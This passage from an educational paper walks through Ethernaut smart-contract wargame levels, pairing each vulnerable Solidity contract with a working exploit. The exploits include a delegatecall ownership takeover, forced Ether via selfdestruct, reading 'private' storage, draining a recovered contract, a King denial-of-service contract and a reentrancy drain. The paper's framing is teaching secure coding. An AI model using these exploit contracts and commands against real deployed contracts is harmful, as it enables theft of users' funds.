A special variant message call, called delegatecall(), is identical to a message call. Apart from the fact that the code at the target address is executed in the context of the calling contract, msg.sender and msg.value do not change their values. That means that a contract can dynamically load code from a different address at runtime. Obviously, only the code is taken from the called address, storage, current address and balance still refer to the calling contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(
        ↪ msg.data);
    if (result) {
      this;
    }
  }
}
```

So the first step is to find which contract we are interacting with. In this case using "contract.abi" we find that we can interact with the second contract (contract Delegation).

```
delegatecall()
```

Delegatecall() allows us to call a function on another contract. Also it allows the called contract influence the state of the calling contract. For example here the contract delegated (called contract) can influence the state of the contract Delegated (calling contract).

```
var pwnFuncSignature = web3.utils.sha3("pwn()")
```

We create a signature for the pwnfunction that we will use it as data for the fallback function.

So long story short we create an address for the pwn() function and we will enter this address as a data input in the fallback function.

```
contract.sendTransaction({data: pwnFuncSignature})
// Calls Smart Contract's Fallback function
```

And now we are the owners of the contract.

Usage of delegatecall() is particularly risky and has been used as an attack vector on multiple historic hacks. With it, our contract is practically saying "here, -other contract- or -other library-, do whatever we want with my state". Delegates have complete access to our contract's state. The delegatecall() function is a powerful feature, but a dangerous one, and must be used with extreme care.

9 BUILDING AN EXTERNAL INTERFACE

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
```

This Smart Contract represents an elevator which does not allow us to reach the top of the building. So our goal is to make the elevator to allow us to reach the top of the building. First goal is to set variable top to true because by default is false. To be more specific we need the floor that we input to be automatically the top of the building.

```
await contract.top() --> False
```

```
await contract.floor() --> 0 //which means no floor
```

In order to change these states we have to create a smart contract that will call the goTo() function on this elevator and we will specify this isLastFloor() function. Because interface "Building" has an external visible specifier through our attacking smart-contract we can add which functions we want to the interface. These functions later will be inherited by the smart-contract.

```
pragma solidity ^0.6.0;

import './Elevator.sol';

contract ElevatorAttack{
    bool public toggle = true;
    Elevator public target;

    constructor(address _targetAddress) public{
        target = Elevator(_targetAddress);

    }

    function isLastFloor(uint) public returns (bool){
        toggle = !toggle;
        return toggle;
    }

    function setTop(uint _floor) public{
        target.goTo(_floor);
    }
}
```

In order to resolve this challenge, we implement a "isLastFloor()" function with a switch that guarantees a true. So we call the function setTop():

```
target.goTo(_floor);
```

As we can see with this line of code, the goTo() function is called from the main contract. As input we set the value to "15" which will be our top floor. This happens due to the fact that the "if" condition is "True" because:

```
toggle = !toggle;
return toggle;
```

As a result, our elevator now can leave us to go to the top of the building.

10 CREATION AND DEACTIVATION

Smart-contracts are capable of creating even other contracts. The only difference between these created calls and normal message calls is that the payload data is executed and the result stored as code and the caller/creator receives the address of the new contract on the stack. The only way to remove code from the Ethereum Blockchain is when a smart-contract is performing the selfdestruct() operation. Selfdestruct operation sends all of the remaining Ether of the contract to an another address that we gave as an input to this function. Then, the storage and code is removed from the state. However, this operation can be potentially be fatal, if someone sends Ether to removed contracts or in lost addresses. If that occurs, this Ether is lost forever. That's why we must be very careful when we are using this operator. Moreover, with selfdestruct() we can send ether to smart-contracts that they are not design to be able to get some ether or even withdraw it. This ether is consider lost too. It should be mentioned that selfdestruct() can remove the code from the Blockchain, however this smart-contract it is still part of the history of the blockchain and it will be retained by most Ethereum nodes. We should never consider that using selfdestruct() is the same as deleting data from a hard disk. The information we send to Blockchain is consider to stay there forever. As a result, we should be cautious in data we store in Blockchain.

10.1 Force Sending Ether

We have an empty smart-contract without any functions, constructor or even Fallback Function. Our goal is to send some Ether to it.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

contract IdontwantMoney {/*
I am an elephant.
I don't need your Ether
 \
    (""-,--"""""-.
    |' :/ Greece |:
  `-|;" : :,_,": |;
        L |_| ||_|

*/}
```

Ethereum smart-contracts typically they have 3 ways to receive ether from an another address.

(1) As we have already mentioned, by using a payable function. We don't have any kind of function on this smart-contract so we cannot use this way.

(2) By receiving mining rewards. A smart-contract can be designed to be able to receive mining block rewards. Maybe it's not the best solution to our problem right now.

(3) By destroying an other smart-contract using the selfdestruct() method in order to force send all of it's ether to an another address or smart contract. Maybe this method solves our problem.

So, it's time to create a new smart-contract which has a public payable function on it with a selfdestruct() command.

```
pragma solidity ^0.8.11;

contract SelfDestructingDapp{
    constructor() public payable{

    }

    function attack(address payable _contractAddr)
        ↪ payable public {

        selfdestruct(_contractAddr);
    }
}
```

Now, we compile and deploy this smart-contract to Ethereum Blockchain with some amount of ether on it. Time to call the attack function and give as a parameter the smart-contract's address. As previously, we use the Console from our web browser to interact with the original smart contract and we type:

```
contract.address
```

As we want to find smart-contract's address, we copy the address and then we give it as a parameter in the attack function on Self-Destructing Dapp. We wait until the block to be mined and now we can check the balance of the original smart-contract by typing in console:

```
await getBalance(contract.address)
```

And now we can see that it has the amount of ether that the Self-Destructing Dapp had. Noticeably, when we use the selfdestruct() function and we send the amount of ether in an another address, if this address is not existing or we sent it to an smart-contract which hasn't any transfer() or withdraw() function, it is lost forever. It is of high importance to not burn ether like this, specially in the mainnet as we loose real world money and deflate the Ethereum Network. Additionally, we should never create a contract which uses as a fallback function with a requirement of some ether but code the contract to support transfer only from the owner. Someone can still use selfdestruct() in order to send an amount of ether to the contract and trigger the fallback function without being the owner.

11 STORAGE AND MEMORY

The Ethereum Virtual Machine has three types of storage in order to store the data in the Ethereum Network. Each account has it's own storage which is persistent between function calls and transactions. Storage is a key-value store that maps 256-bit words to 256-bit words. In order to read or initialise and modify storage in the Ethereum Network is quite expensive. especially when we want to deploy or modify. As a consequence, due to the high cost, we should minimize what we store in persistent storage to what the smart-contract really needs to run. Store the real data outside than blockchain and only keep its hash value on blockchain if we want to validate the integrity of a file. The second data area is called memory of which a smart contract obtains a freshly cleared instance for each message call. Memory is linear and can be addressed at byte level, but reads are limited to a width of 256 bits, while writes can be either 8 bits or 256 bits wide. Memory is more costly the larger it grows as it scales exponentially. The Ethereum Virtual Machine is not a register machine but a stack machine, so all computations are performed on a data area called the stack. Stack has a maximum size of 1024 elements and contains words of 256 bits.

11.1 Vault

On this challenge, we have to unlock the vault to win the challenge.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
```

First of all, we can see that we have 2 state variables. One of them is the locked variable which is public. That means that we can very easily see what it is inside the variable by typing:

```
await contract.locked()
```

Also, we have the private variable password. Using the console, we cannot just see what it is inside just easily. Therefore, we have 2 options to try in order to solve the problem.

(1) By brute forcing the password, until we find the right one and then unlock the vault. It's possible to happen, but there is a much easier way to achieve this.

(2) Somehow, to dump the password from the storage of the contract.

As we have already mentioned earlier, Ethereum is a public Blockchain. That means that everyone can see what exists inside of it. We know that password variable is uint private. In Ethereum from the Solidity Docs, we know that a private type access mean that a variable can be called only from the same smart-contract, not externally by using an another smart-contract or by calling contract.password() from console. As Ethereum is a public ledger, we can just query the smart-contract from it's storage.

Web3.js can help us achieving this, by typing in console:

```
var pwd // to create a variable
web3.eth.getStorageAt(contract.address, 1, function(
    ↪ err, result){pwd = result})
```

This command will return :

```
0x412076657279207374726f6e67207365637265742070617373
76f7264203a29
```

That is the password in hexadecimal mode. We can very easily convert this hexadecimal in Ascii from our console by typing:

```
web3.utils.toAscii(pwd)
```

And this will return us:

```
A very strong secret password :)
```

As we have the hexadecimal version of the password, we can simply create a transaction in the function unlock and the hexadecimal value as an input by typing:

```
contract.unlock("0
    ↪ x412076657279207374726f6e67207365637265742070
      617373776f7264203a29")
```

Now if we check the Boolean variable locked by typing "contract.locked()" we can see that it is unlocked. We pwned it. To sum up, we should never insert data unencrypted in Blockchain networks, especially in public Blockchains, as everyone can see what it is inside.

11.2 Recovery

On this challenge, we have a smart-contract that can built very simple tokens by its own. Anyone can create new tokens with ease. The point of this contract is to find the lost contract address and then withdraw all of its ether. At first, we check the code:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256
      ↪ _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply)
        ↪ ;

  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator,
      ↪ uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }
  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public
       ↪ {
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(
         ↪ _amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
```

We can see that this smart contract has a destroy function with a selfdestruct() operator on it. However, the function destroy is not public payable. That means we can't simply make a transaction and call it. We should find the address and then call it by using the contract's address. We know that contract addresses are deterministically calculated. From Ethereum's yellow paper we can read: "The address of the new account is defined as being the rightmost 160 bits of the Keccak hash of the RLP encoding of the structure containing only the sender and the account nonce. Thus we define the resultant address for the new account". We can represent this function as:

```
address = rightmost_20_bytes(keccak(RLP(sender
    ↪ address, nonce)))
```

On which:

(1) "sender address" is the contract or wallet address that created this new contract. So, we can type in console "contract.address" and find it easily.

(2) "nonce" is the number of the transactions sent from the "sender address" or if the sender an another smart-contract, the "nonce" is the number of contract-creations made by this account.

(3) "RLP" is an encoder on data structure and is the default to serialize objects in Ethereum. The RLP encoding of a 20-byte address is 0xd6,0x94. Moreover, for all intenger less than 0x7f, its encoding its just its own byte value. As result, the RLP of 1 is 0x01. We keep that in mind for the next step.

(4) "keccak" is the cryptographic primitive that compute the Ethereum SHA3 hash on any input. Is also refered as Keccak-256.

So now we can recalculate the address of the new contract by an existing contract located at the contract.address. It should be mentioned that the nonce 0 is always the event of smart contract's creation. So, we will begin to counting from 1. We know that RLP of 1 is 0x01, so by using the web3 utils, we will try to use the function we described above:

```
web3.utils.soliditySha3("0xd6", "0x94", "0
    ↪ xEa90EAAAB78241373b94C98a788524582DA2e593" ,
    ↪ "0x01")
```

This will return this heximal:

```
0xa1ed98d854d1b4ee7a4aa44816a095b1578566ec7fd2162
46a8c0a6322f67331
```

We will keep only the last 40 characters :

```
16a095b1578566ec7fd216246a8c0a6322f67331
```

Then we have the smart contract address. Now we can check in Etherscan.io this address and we can find out that it has 0.01 ether inside. As we have the address now we can try to call the destruct function. Therefore, we will encode a function call from console:

```
data = web3.eth.abi.encodeFunctionCall({
    name: 'destroy' ,
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_to' }]
}, [player]);
```

And then we will create a transaction having our own player address in order to be sent to us the smart's contract ether when we trigger selfdestruct() operation:

```
await web3.eth.sendTransaction({
    to: "0x16a095B1578566ec7fd216246A8C0A6322F67331",
    from: player,
    data: data } )
```

We pay the transaction fees and now we transfer all of the contract's ether to our wallet. From this challenge, we learnt that we can send Ethers to a deterministic address, when the contract does not exist, at least for now.

12 ERRORS

We have a smart contract game called Kings. This contract is a classic example of a ponzi scheme. Whoever sends an amount of ether that is more than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;
  constructor() public payable {
    owner = msg.sender;
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner)
        ↪ ;
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address
      ↪ payable) {
    return king;
  }
}
```

It should be mentioned here that when we will try to submit King.sol instance back to level, Ethernaut will call the fallback function to regain Kingship. As we can understand, we have to find a way to guarantee that all Ethernaut's transactions will fail, so we can remain as a King. Let's check the code into fallback function:

```
receive() external payable {
    require(msg.value >= prize || msg.sender == owner)
        ↪ ;
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
```

The fallback is an external payable and has as a requirement to be called that the sender sends a higher amount of ether than it is the current price and the msg.sender to be the owner. Then, all of the sended ether is transfered to king and we become the king and our value of ether is sets us the current prize. They key here is the "king.transfer()" method which can fail if the current king is a malicious contract and refuses to withdraw. There are multiple ways for transactions to fail, but most of the time we have these 3 options:

(1) Out Of Gas Errors: The receiving contract has a malicious payable function that consumes a large amount of gas, which fails the transaction or over-consumes the gas limit. However cannot make the internal call here as there is not really something we can control.

(2) Arbitrary Error from FallBack Function. If our transaction ends up executing code from a contract that can always fail.

(3) Transact with Contract with no fallback function or a non payable fallback function. When a transaction is made towards a contract address without including any data the fallback function of that contract is called. If a contract does not have a fallback function, it will fail. Also, It will fall if we send some ether in a transaction without a payable modifier in the fallback.

So, we can create a contract with a function that will send ether to the original contract, however without a fallback function so that the king contract cannot send money back. We create and deploy a malicious smart contract with at least 1 Ether on it.

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

contract KingAttack {

  function doYourThing(address _target) public
      ↪ payable {
    (bool result,) = _target.call{value:msg.value}("")
        ↪ ;
    if(!result) revert("MyBad");
  }
```

This script has a payable function which will send an ether to the contract. As the original smart contract has a payable external fallback function, but it has requirements in order to be executed, it will fail as it will can't handle the 1 ether that we sent it from the attacking contract. As a result, we will become the king forever.

13 DAO ATTACK

On this challenge, we will learn how the infamous DAO occured and how to prevent such an incident to occur again. Ethereum splitted into two Blockchains, Ethereum and Ethereum Classic because of a DAO Attack. So we have this smart-contract and we have to withdraw all of it's ether:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view
      ↪ returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount
          ↪ }("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
```

Re-entrancy happens in single-thread computing environments, when the execution stack jumps or calls subroutines, before returning to the original execution. Firstly, we create a smart-contract called ReentranceAttack.sol with which we are going to attack the main smart-contract shown above:

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.10;

import './Reentrance.sol';

contract ReentranceAttack {

  Reentrance target;
  uint public amount = 1 ether;

  constructor(address payable _targetAddr) public
      ↪ payable {
    target= Reentrance(_targetAddr);
  }

  function donateToTarget() public {
    target.donate.value(amount).gas(4000000)(address(
        ↪ this)); }

  fallback() external payable {
    if (address(target).balance !=0){
      target.withdraw(amount);
    }
  }
}
```

We need to take into account these two criterias:

(1) Fallback functions can be called by anyone and execute malicious code.

(2) Malicious external contracts can abuse withdrawals.

The expoitation was done by following these steps:

(1) We deploy ReentranceAttack.sol with a value of 1 ether and as an address parameter we input the Reentrance.sol address which we find from the console by typing "contract.address".

(2) We donate 1 ether to the Reentrance.sol by calling the function donateToTarget() from the ReentranceAttack.sol in order to add ReentranceAttack.sol address into balances.

```
mapping(address => uint) public balances;
```

Now that we are into balances, we satisfy the requirement of withdraw() function.

(3) By using the Remix IDE, we trigger the fallback() function from the ReentranceAttack.sol which calls the withdraw() function from the Reentrance.sol. Now the withdraw() function is called and we satisfy the requirement of it, it will call back the fallback() function of the ReentranceAttack.sol and this loop will continue until the balance of the Reentrance.sol is zero.

There are multiple ways to protect your smart-contract in order to prevent issues like DAO Attack to happen.

(1) The order of execution really matters in programming, specially in Solidity. If we have to take external function calls, making the call must be the last thing to do. Even better,if we can invoke transfer in a separate function.

(2) Include a mutex to prevent re-entrancy. For example we can create a Boolean lock variable or a binary variable to signal execution depth.

(3) When we have to use function modifiers to check invariants, we should be extremely careful as modifiers are executed at the start of the function.

(4) Use transfer to move funds out of a smart-contract, as low level functions like call and send just return false but don't interrupt the execution flow when receiving contract fails.

14 CONCLUSION

This paper has only a few examples of vulnerabilities that can be found in smart-contracts and can end up fatal. It is of high importance to write secure code, use secure code practices and if it is possible to use libraries instead of reinventing the wheel. A library that is broadly used likely has been audited by multiple members of the community, and so it has a better standard of trust and security than one that is not broadly used or is created by a single person.

REFERENCES

[1] Developing a Blockchain eVoting Application using Ethereum, Dimitris Vagiakakos, Konstantinos Karahalis, Stavros Gkinos (2021) : https://github.com/sv1sjp/eVoting_Elections_Decentralized_App/blob/main/eVoting_Smart_Contract_paper.pdf

[2] Privacy in Blockchain and Web3.0 (Greek), Dimitris Vagiakakos, Konstantinos Karahalis, Stavros Gkinos (2021) : https://github.com/sv1sjp/eVoting_Elections_Decentralized_App/blob/main/Privacy%20in%20Blockchain%20and%20Web3.0%20(Greek).pdf

[3] Antonopoulos, Andreas M.; Wood, Gavin (2018). Mastering Ethereum : building smart contracts and DApps (First ed.). Sebastopol, CA: O'Reilly Media, Inc.

[4] "White Paper· ethereum/wiki Wiki · GitHub". Archived from the original on 11 January 2014.

[5] Generalised Transaction Ledger (EIP-150)". yellowpaper.io. Archived from the original on 3 February 2018. Retrieved 3 February 2018

[6] Vitalik Buterin. "Merkling in Ethereum". Ethereum.org.

[7] The Etheraut - A Web3 wargame played in Ethereum Virtual Machine - https://ethernaut.openzeppelin.com/
[8] Smart Contract Security - https://ethereum.org/en/developers/docs/smart-contracts/security/
[9] Ethernaut Challenges by Mark Muskardin - https://www.youtube.com/watch?v=kZb6Qjlgybo&list=PLBy3Qkuapv_7R1ZI_Cs2NOFn7ZTaNWY6G
[10] Dapp University - https://www.dappuniversity.com/
[11] ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER - DR. GAVIN WOOD : http://gavwood.com/paper.pdf
[12] Formal Analysis of a Proof-of-Stake Blockchain - Naipeng Dong : https://www.researchgate.net/publication/330030317_Formal_Analysis_of_a_Proof-of-Stake_Blockchain
[13] Proof of Work and Proof of Stakeconsensus protocols: a blockchain applicationfor local complementary currencies - Sothearath SEANG Dominique TORRE : https://gdre-scpo-aix.sciencesconf.org/195470/document
[14] Solidity 0.8.0 Documentation : https://docs.soliditylang.org/en/v0.8.0/
[15] Solidity Github Documentation and examples: https://github.com/ethereum
[16] web3.js Documentation: https://web3js.readthedocs.io/en/v1.3.0/
[17] Metamask Guide: https://docs.metamask.io/guide/
[18] Rinkeby.io Ethereum Testnet: https://www.rinkeby.io/#stats
[19] ERC20-Tokens Github : https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md